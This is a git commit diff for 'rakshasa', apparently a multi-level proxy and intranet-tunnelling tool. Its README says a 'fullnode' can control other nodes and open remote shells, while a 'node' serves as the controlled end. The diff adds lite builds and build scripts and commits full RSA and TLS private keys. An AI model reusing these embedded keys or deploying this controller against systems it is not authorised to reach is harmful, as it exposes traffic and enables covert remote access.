修复bug,增加lite版本
This commit is contained in:
@@ -14,16 +14,22 @@ rakshasa是一个使用Go语言编写的强大多级代理工具,专为实现*
|
||||
## 项目结构示例和截图
|
||||
[点击查看更多介绍](./readme/rakshasa项目设计.md)
|
||||
|
||||
[win10+Proxifier实现内网穿透](./readme/rakshasa内网穿透--win10+Proxifier使用案例.md)
|
||||
|
||||
|
||||
## 编译与使用
|
||||
|
||||
全新生成证书与节点
|
||||
生成新的证书,编译所有版本节点
|
||||
```shell
|
||||
go run build.go -all
|
||||
```
|
||||
|
||||
只生成证书
|
||||
编译所有版本节点(不更新证书)
|
||||
```shell
|
||||
go run build.go -all -nocert
|
||||
```
|
||||
|
||||
生成覆盖证书
|
||||
```shell
|
||||
go run build.go -gencert
|
||||
```
|
||||
@@ -38,7 +44,7 @@ go run build.go -fullnode
|
||||
go run build.go -node
|
||||
```
|
||||
|
||||
证书保存在cert目录下
|
||||
证书保存在cert目录下,可以使用第三方工具生成,请使用RSA PKCS1-V1.5
|
||||
```shell
|
||||
private.go --编译普通节点的时候要删除此文件
|
||||
private.pem --与public.pem对应的公钥私钥,普通节点不包含私钥
|
||||
@@ -46,6 +52,23 @@ public.pem
|
||||
server.crt --tls通讯证书
|
||||
server.key --tls通讯私钥
|
||||
```
|
||||
## 版本区别
|
||||
|
||||
| | fullnode | node|fullnode_lite|node_lite|
|
||||
| ---- | ---- |---- |---- |---- |
|
||||
|连接其他节点 | √ |√ |√ |√ |
|
||||
|启动本地socks5代理 | √ |√ |√ |√ |
|
||||
|启动本地http代理 | √ |√ |√ |√ |
|
||||
|启动多层代理 | √ |× |√ |× |
|
||||
|远程shell| √ |× |√ |× |
|
||||
|其他远程功能| √ |× |√ |× |
|
||||
| 交互式CLI | √ |√ |× |× |
|
||||
| check_proxy | √ |√ |× |× |
|
||||
|
||||
简单来讲
|
||||
- fullnode 完全版,能控制别人,也能被控
|
||||
- node 能连接其他节点,但是不能对其他节点操控,适合作为被控端
|
||||
- lite版本,精简掉cli和net/http,与一些debug的代码
|
||||
|
||||
## 使用图示
|
||||

|
||||
|
||||
@@ -1,8 +1,10 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
@@ -11,14 +13,29 @@ import (
|
||||
|
||||
func main() {
|
||||
all := flag.Bool("all", false, "生成新的证书,生成控制端节点和普通节点")
|
||||
nocert := flag.Bool("nocert", false, "不生成证书")
|
||||
gencert := flag.Bool("gencert", false, "生成证书")
|
||||
fullNode := flag.Bool("fullnode", false, "只编译生成控制端节点+普通节点")
|
||||
fullNode := flag.Bool("fullnode", false, "编译生成控制端节点+普通节点")
|
||||
node := flag.Bool("node", false, "只生成普通节点")
|
||||
fullNodeLite := flag.Bool("fullnode-lite", false, "编译生成lite版本的: 控制端节点+普通节点")
|
||||
nodeLite := flag.Bool("node-lite", false, "只生成lite版本的: 普通节点")
|
||||
genfullNodePrivate := flag.Bool("gen-private", false, "将private.pem转为private.go")
|
||||
flag.Parse()
|
||||
if *all == true {
|
||||
*gencert = true
|
||||
*fullNode = true
|
||||
*node = false
|
||||
*node = true
|
||||
*fullNodeLite = true
|
||||
*nodeLite = true
|
||||
}
|
||||
if *nocert {
|
||||
*gencert = false
|
||||
}
|
||||
if *genfullNodePrivate {
|
||||
b, _ := os.ReadFile("./cert/private.pem")
|
||||
data := fmt.Sprintf("package cert\r\n func init(){\r\nprivateKey=%#v\r\n}\r\n", b)
|
||||
os.WriteFile("./cert/private.go", []byte(data), 0655)
|
||||
return
|
||||
}
|
||||
if *gencert {
|
||||
if runtime.GOOS == "windows" {
|
||||
@@ -28,7 +45,7 @@ func main() {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
_, err := exec.Command("bin/bash", "-c", "cd gencert && go run main.go").CombinedOutput()
|
||||
b, err := exec.Command("/bin/bash", "-c", "cd gencert && go run main.go").CombinedOutput()
|
||||
if err != nil {
|
||||
log.Fatal(`无法生成证书,请手动执行"cd gencert && go run main.go"`)
|
||||
return
|
||||
@@ -59,27 +76,62 @@ func main() {
|
||||
} else if *node {
|
||||
os.Remove("./cert/private.go")
|
||||
buildNode("build_node")
|
||||
} else {
|
||||
}
|
||||
if *fullNodeLite {
|
||||
b, _ := os.ReadFile("./cert/private.pem")
|
||||
data := fmt.Sprintf("package cert\r\n func init(){\r\nprivateKey=%#v\r\n}\r\n", b)
|
||||
os.WriteFile("./cert/private.go", []byte(data), 0655)
|
||||
buildNode("build_fullnode_lite")
|
||||
} else if *nodeLite {
|
||||
os.Remove("./cert/private.go")
|
||||
buildNode("build_node_lite")
|
||||
}
|
||||
if !*gencert && !*fullNode && !*node && !*fullNodeLite && !*nodeLite && !*genfullNodePrivate {
|
||||
flag.PrintDefaults()
|
||||
|
||||
}
|
||||
}
|
||||
func buildNode(name string) {
|
||||
if runtime.GOOS == "windows" {
|
||||
cmdstr := fmt.Sprintf(`cd build && %s.bat`, name)
|
||||
_, err := exec.Command("cmd.exe", "/c", cmdstr).CombinedOutput()
|
||||
err := runCommand("cmd.exe", "/c", cmdstr)
|
||||
if err != nil {
|
||||
log.Fatal(`无法编译,请手动执行 ` + cmdstr)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
exec.Command("/bin/bash", "-c", "cd build && sudo chmod 755 "+name+".sh").CombinedOutput()
|
||||
cmdstr := fmt.Sprintf(`cd build && ./%s.sh`, name)
|
||||
err := runCommand("/bin/bash", "-c", cmdstr)
|
||||
if err != nil {
|
||||
log.Fatal(`无法编译,请手动执行 ` + cmdstr)
|
||||
return
|
||||
}
|
||||
|
||||
} else {
|
||||
exec.Command("bin/bash", "-c", "cd build && sudo chmod 755 "+name+".sh").CombinedOutput()
|
||||
cmdstr := fmt.Sprintf(`cd build && ./%s.sh`, name)
|
||||
_, err := exec.Command("/bin/bash", "-c", cmdstr).CombinedOutput()
|
||||
if err != nil {
|
||||
log.Fatal(`无法编译,请手动执行 ` + cmdstr)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
func runCommand(name string, arg ...string) error {
|
||||
cmd := exec.Command(name, arg...)
|
||||
stdout, err := cmd.StdoutPipe()
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
//创建一个流来读取管道内内容,这里逻辑是通过一行一行的读取的
|
||||
reader := bufio.NewReader(stdout)
|
||||
//实时循环读取输出流中的一行内容
|
||||
go func() {
|
||||
|
||||
for {
|
||||
line, err2 := reader.ReadString('\n')
|
||||
if err2 != nil || io.EOF == err2 {
|
||||
break
|
||||
}
|
||||
|
||||
fmt.Print(line)
|
||||
}
|
||||
|
||||
}()
|
||||
cmd.Wait()
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -17,6 +17,6 @@ del "private.go"
|
||||
cd ../build
|
||||
build_node.bat
|
||||
) ELSE (
|
||||
echo ÕÒ²»µ½private.go,ÇëʹÓà go run build.go -full-nodeÀ´±àÒë
|
||||
echo ÕÒ²»µ½private.go,ÇëʹÓà go run build.go -fullnodeÀ´±àÒë
|
||||
ping -n 3 127.0.0.1 > nul
|
||||
)
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
@echo off
|
||||
cd ../
|
||||
|
||||
IF EXIST ./cert/private.go (
|
||||
cd rakshasa_lite
|
||||
echo Start build fullnode-lite
|
||||
echo build windows
|
||||
set GOOS=windows
|
||||
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_lite_amd64_win.exe main.go
|
||||
echo build linux
|
||||
set GOOS=linux
|
||||
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_lite_amd64_linux main.go
|
||||
echo build darwin
|
||||
set GOOS=darwin
|
||||
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_lite_amd64_darwin main.go
|
||||
cd ../cert
|
||||
del "private.go"
|
||||
cd ../build
|
||||
build_node_lite.bat
|
||||
) ELSE (
|
||||
echo ÕÒ²»µ½private.go,ÇëʹÓà go run build.go -fullnode-liteÀ´±àÒë
|
||||
ping -n 3 127.0.0.1 > nul
|
||||
)
|
||||
@@ -0,0 +1,22 @@
|
||||
#! /bin/sh
|
||||
cd ../
|
||||
|
||||
file=./cert/private.go
|
||||
|
||||
if [ -f "$file" ]; then
|
||||
cd rakshasa_lite
|
||||
echo "Start build fullnode-lite"
|
||||
echo "build windows"
|
||||
GOOS=windows go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_amd64_lite_win.exe main.go
|
||||
echo "build linux"
|
||||
GOOS=linux go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_amd64_lite_linux main.go
|
||||
echo "build darwin"
|
||||
GOOS=darwin go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_amd64_lite_darwin main.go
|
||||
cd ../cert
|
||||
rm -f "private.go"
|
||||
cd ../build
|
||||
chmod 755 build_node.sh
|
||||
./build_node.sh
|
||||
else
|
||||
echo "找不到private.go,请使用 go run build.go -fullnode-lite来编译"
|
||||
fi
|
||||
@@ -0,0 +1,21 @@
|
||||
@echo off
|
||||
cd ../
|
||||
|
||||
IF EXIST ./cert/private.go (
|
||||
echo Çëɾ³ýprivate.goºóÔÚ±àÒë
|
||||
ping -n 3 127.0.0.1 > nul
|
||||
) ELSE (
|
||||
cd rakshasa_lite
|
||||
echo Start build node-lite
|
||||
echo build windows
|
||||
set GOOS=windows
|
||||
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_win.exe main.go
|
||||
echo build linux
|
||||
set GOOS=linux
|
||||
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_linux main.go
|
||||
echo build darwin
|
||||
set GOOS=darwin
|
||||
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_darwin main.go
|
||||
echo End
|
||||
|
||||
)
|
||||
@@ -0,0 +1,17 @@
|
||||
#! /bin/sh
|
||||
cd ../
|
||||
|
||||
file=./cert/private.go
|
||||
|
||||
if [ ! -f "$file" ]; then
|
||||
cd rakshasa_lite
|
||||
echo "Start build node-lite"
|
||||
echo "build windows"
|
||||
GOOS=windows go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_win.exe main.go
|
||||
echo "build linux"
|
||||
GOOS=linux go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_linux main.go
|
||||
echo "build darwin"
|
||||
GOOS=darwin go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_darwin main.go
|
||||
else
|
||||
echo "请删除private.go后在编译"
|
||||
fi
|
||||
@@ -0,0 +1,3 @@
|
||||
module cert
|
||||
|
||||
go 1.20
|
||||
@@ -0,0 +1,28 @@
|
||||
-----BEGIN RSA Private Key-----
|
||||
MIIEvwIBAAKCAQcAxKyN5To5fAulOKJ6Ngiv+iJ/ws4q45QYB4T6UfWfKfeaIdhY
|
||||
ek3QTKDm6zbge1+c6qzHPt3tnjJkVqh1jpr5MZmr2vbfPQWCZrHMpcrK3VTv+2uq
|
||||
ieYWE1nGb71ImufqKAIwc7OMyYXufHX9PQMGEubSUx4Fw/KwF3mMYZIwUNJs6Q6S
|
||||
PzuEL9incITKw1tl93uGLHM7KlYcXcLQh1YYY3tWcLkjNmQJND8d6q3ie9Tov/HL
|
||||
cItANnKVWQLtD7UcyLm8pzfOhIqQzD83nxOaXjVV9G4qViukuZ74kusNrS4o3F3v
|
||||
bM+KKHVkYWypYkTx/w0eQ4HR4/iWIKKJ3pOHPtNJcni/qwIDAQABAoIBBmdLzdcI
|
||||
ZqrNHwEI7TE2DN9OgVXanNIctSY15JdpbyhGoJCIJahO+ElW9RGzJ+IEjNEA4EEX
|
||||
pLbC9spA/kVhBeLUOFvv774IB75SQg8N3NC0zLp7iP2WeB+/tiZ3/wtFJUnQJIyQ
|
||||
UDCEBIcgHVqPHQCOdQcsrJCHBY++yklw06mPa55XmYb7STAgKmE1LxoJogV1t064
|
||||
Pvecc8/tjJrPkT3jMkTEJ6iJ+gyEdNxIOkz189MQ+SNjM+d0HRyApWpNDAEDKJgl
|
||||
Q53yHCKtxqwgLqW6fD1OCODiL++BxSoYbfN16GyCiulXmnEGaCRYHRV0Gfliyjlj
|
||||
N0A32RYE9P8NUgOSqTZsqVECgYQA8YBlCPuRzPXC3TTtMZY8ypybZydysOHFc0XE
|
||||
QwkuuwmUcAPKsdrHOdT5d+fHt6u9lgz8HkpGBxuI+DB974fToJ2/2tc8ocjPv1qB
|
||||
pDcPkKiRHOlXcMwTdYJj1baoMLmMtiSf1c2EJAh6yQnOniB+ZqfRaqRFZasVjGL2
|
||||
xZdumWyNpdMCgYQA0Hs2LvYPmvJ4zUqn+i6g7AFeocXzhqSBatlP4P0fCZRjjLRQ
|
||||
5bfrJPCuXY3ehi01r+Ll+73tvF6HlvnlrwyXSq59Jv4v9AUy4BYNAZmAtugcsx1F
|
||||
e2U4mIHiJ4UXIbrWG2CbTyxbLCRgPjUvhWnFYIIlYzq9EFS42vk/pe2n9bH/H8kC
|
||||
gYQAvv/E6K3OSkO0si7ByY4A1l21qofQdYSaHOj4p+wDQXn6I/1buf5Fwr9l7icq
|
||||
FWGGt73dSDeF2uk0EtaHQ4IxJb6dlf7UvT+MztJN5gqGDOrEmhESTuuYGD/fpY6o
|
||||
xqB5YTTmFLpN4BG0ynsvJnCch6QCRE1XdWkxya4bbXquxjjMbnECgYNHAK+DbuoB
|
||||
q3LY+AQdgKPtvMmt7uzxfjVVXo2F4q8fZBpDYWXr1qeO/SllU1vl9p/CN1R8WEMP
|
||||
VGJ5WMKQy4j7NlIJZaiPQvYAu4HSeaUMpiCgH+f6Do8n4ZRUQU+PfUJOMKi0Xjbu
|
||||
4bSlexekKFHAfJKfKPIbDb+nVBwJNtdtJiHtgQKBhACR7mGC7n0sEU5SJZhx3qwG
|
||||
S8WglFmWzITsbuFcpJq223b5H1bTxLeOuDjREkwIgIR/S4YAW/2FByf6zMc7IbLJ
|
||||
aes/tQVJ5JsggXt3tMGAUk2omqhwxetNGhmD4AiNo1v4LaczwRudMro05Q+w2OhN
|
||||
9vCqsHbi1B+tLr36sHVbnMcYgg==
|
||||
-----END RSA Private Key-----
|
||||
@@ -0,0 +1,9 @@
|
||||
-----BEGIN RSA Public Key-----
|
||||
MIIBKDANBgkqhkiG9w0BAQEFAAOCARUAMIIBEAKCAQcAxKyN5To5fAulOKJ6Ngiv
|
||||
+iJ/ws4q45QYB4T6UfWfKfeaIdhYek3QTKDm6zbge1+c6qzHPt3tnjJkVqh1jpr5
|
||||
MZmr2vbfPQWCZrHMpcrK3VTv+2uqieYWE1nGb71ImufqKAIwc7OMyYXufHX9PQMG
|
||||
EubSUx4Fw/KwF3mMYZIwUNJs6Q6SPzuEL9incITKw1tl93uGLHM7KlYcXcLQh1YY
|
||||
Y3tWcLkjNmQJND8d6q3ie9Tov/HLcItANnKVWQLtD7UcyLm8pzfOhIqQzD83nxOa
|
||||
XjVV9G4qViukuZ74kusNrS4o3F3vbM+KKHVkYWypYkTx/w0eQ4HR4/iWIKKJ3pOH
|
||||
PtNJcni/qwIDAQAB
|
||||
-----END RSA Public Key-----
|
||||
@@ -0,0 +1,35 @@
|
||||
-----BEGIN CERTIFICATE-----
|
||||
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
|
||||
Vxo17mAc
|
||||
-----END CERTIFICATE-----
|
||||
@@ -0,0 +1,51 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
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
|
||||
-----END RSA PRIVATE KEY-----
|
||||
+22
-8
@@ -8,22 +8,25 @@ import (
|
||||
_ "embed"
|
||||
"encoding/base64"
|
||||
"encoding/pem"
|
||||
"github.com/farmerx/gorsa"
|
||||
|
||||
"log"
|
||||
|
||||
"github.com/farmerx/gorsa"
|
||||
)
|
||||
|
||||
//go:embed server.crt
|
||||
var rsaCert []byte
|
||||
|
||||
//go:embed server.key
|
||||
var PrivateKey []byte
|
||||
var RsaPrivateKey []byte
|
||||
|
||||
var Tlsconfig *tls.Config
|
||||
|
||||
func init() {
|
||||
|
||||
//内置证书
|
||||
|
||||
cert, err := tls.X509KeyPair(rsaCert, PrivateKey)
|
||||
cert, err := tls.X509KeyPair(rsaCert, RsaPrivateKey)
|
||||
if err != nil {
|
||||
log.Panicln(err)
|
||||
return
|
||||
@@ -60,7 +63,6 @@ func init() {
|
||||
//go:embed public.pem
|
||||
var publicKey []byte
|
||||
|
||||
|
||||
var privateKey []byte
|
||||
|
||||
// 使用公钥进行加密
|
||||
@@ -103,7 +105,7 @@ func RSAEncrypterByPrivByte(msg []byte) []byte {
|
||||
prienctypt, _ := gorsa.RSA.PriKeyENCTYPT([]byte(msg))
|
||||
return prienctypt
|
||||
}
|
||||
func RSADecrypterByPub(cipherText string) string{
|
||||
func RSADecrypterByPub(cipherText string) string {
|
||||
b, _ := base64.StdEncoding.DecodeString(cipherText)
|
||||
pubdecrypt, _ := gorsa.RSA.PubKeyDECRYPT(b)
|
||||
return string(pubdecrypt)
|
||||
@@ -112,7 +114,19 @@ func RSADecrypterByPubByte(cipherText []byte) []byte {
|
||||
pubdecrypt, _ := gorsa.RSA.PubKeyDECRYPT(cipherText)
|
||||
return pubdecrypt
|
||||
}
|
||||
func init(){
|
||||
gorsa.RSA.SetPublicKey(string(publicKey))
|
||||
gorsa.RSA.SetPrivateKey(string(privateKey))
|
||||
func init() {
|
||||
if err := gorsa.RSA.SetPublicKey(string(publicKey)); err != nil {
|
||||
log.Fatalln("无法加载publicKey,请检查public.pem")
|
||||
}
|
||||
if len(privateKey) > 0 {
|
||||
//fullnode
|
||||
if err := gorsa.RSA.SetPrivateKey(string(privateKey)); err != nil {
|
||||
log.Fatalln("无法加载privateKey,请检查private.go")
|
||||
}
|
||||
test := "hello world"
|
||||
if RSADecrypterByPub(RSAEncrypterByPriv(test)) != test {
|
||||
log.Fatalln("当前内置的public.pem 与 private.pem 无法正常加密解密")
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
+28
-43
@@ -4,7 +4,8 @@ import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/dlclark/regexp2"
|
||||
"regexp"
|
||||
|
||||
"net"
|
||||
"strconv"
|
||||
)
|
||||
@@ -25,68 +26,52 @@ func ParseAddr(str string) (cfg *Addr, err error) {
|
||||
}
|
||||
|
||||
}()
|
||||
r, _ := regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`, 0)
|
||||
m, err := r.FindStringMatch(str)
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误," + err.Error())
|
||||
}
|
||||
r, _ := regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`)
|
||||
m := r.FindAllStringSubmatch(str, 1)
|
||||
|
